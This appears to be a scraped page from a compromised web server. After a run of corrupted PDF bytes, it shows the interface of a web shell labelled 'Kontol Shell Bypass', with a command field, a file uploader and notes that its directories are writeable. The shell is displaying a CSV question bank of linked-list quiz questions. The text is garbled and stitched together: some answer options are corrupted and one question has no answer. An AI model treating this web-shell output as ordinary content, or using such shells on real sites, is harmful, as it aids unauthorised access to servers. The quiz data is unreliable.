%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/chalkbank/xls/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/chalkbank/xls/question_bank-1645798607.csv
S. No.,Question type,Category, Level, Question,2,Option One,Option Two,Option Three,Option Four
1,,,,What is the time complexity to count the number of elements in the linked list?,3,O(1),O(n),O(logn),O(npow(2))
2,,,," What would be the asymptotic time complexity to add a node at the end of singly linked list, if the pointer is initially pointing to the head of the list?",4,O(1),O(n),? (n),? (1)
3,,,,Linked list is considered as an example of ___________ type of memory allocation.,4,Static,Compile time,Heap,Dynamic
4,,,,"Given pointer to a node X in a singly linked list. Only one pointer is given, pointer to head node is not given, can we delete the node X from given linked list?",2,Possible if size of linked list is even,Possible if size of linked list is odd,Possible if X is not first node,Possible if X is not last node
5,,,,"You are given pointers to first and last nodes of a singly linked list, which of the following operations are dependent on the length of the linked list?",4,Delete the first element,Delete the last element of the list,Insert a new element as a first element,Add a new element at the end of the list
6,,,,Which of these is not an application of a linked list?,1,To implement file systems,For separate chaining in hash-tables,To implement non-binary trees,Random Access of elements
7,,,,Which of the following operations is performed more efficiently by doubly linked list than by singly linked list?,3,Deleting a node whose location in given,Traversing a list to process each node,Searching of an unsorted list for a given item,Inverting a node after the node with given location
8,,,,In linked list each node contain minimum of two fields. One field is data field to store the data second field is?,3,Pointer to character,Pointer to integer,Pointer to node,Node
9,,,,The concatenation of two list can performed in O(1) time. Which of the following variation of linked list can be used?,3,Singly linked list,Doubly linked list,Circular doubly linked list,Array implementation of list
10,,,,"In doubly linked lists, traversal can be performed?",,Only in forward direction,Only in reverse direction,In both directions,None

Kontol Shell Bypass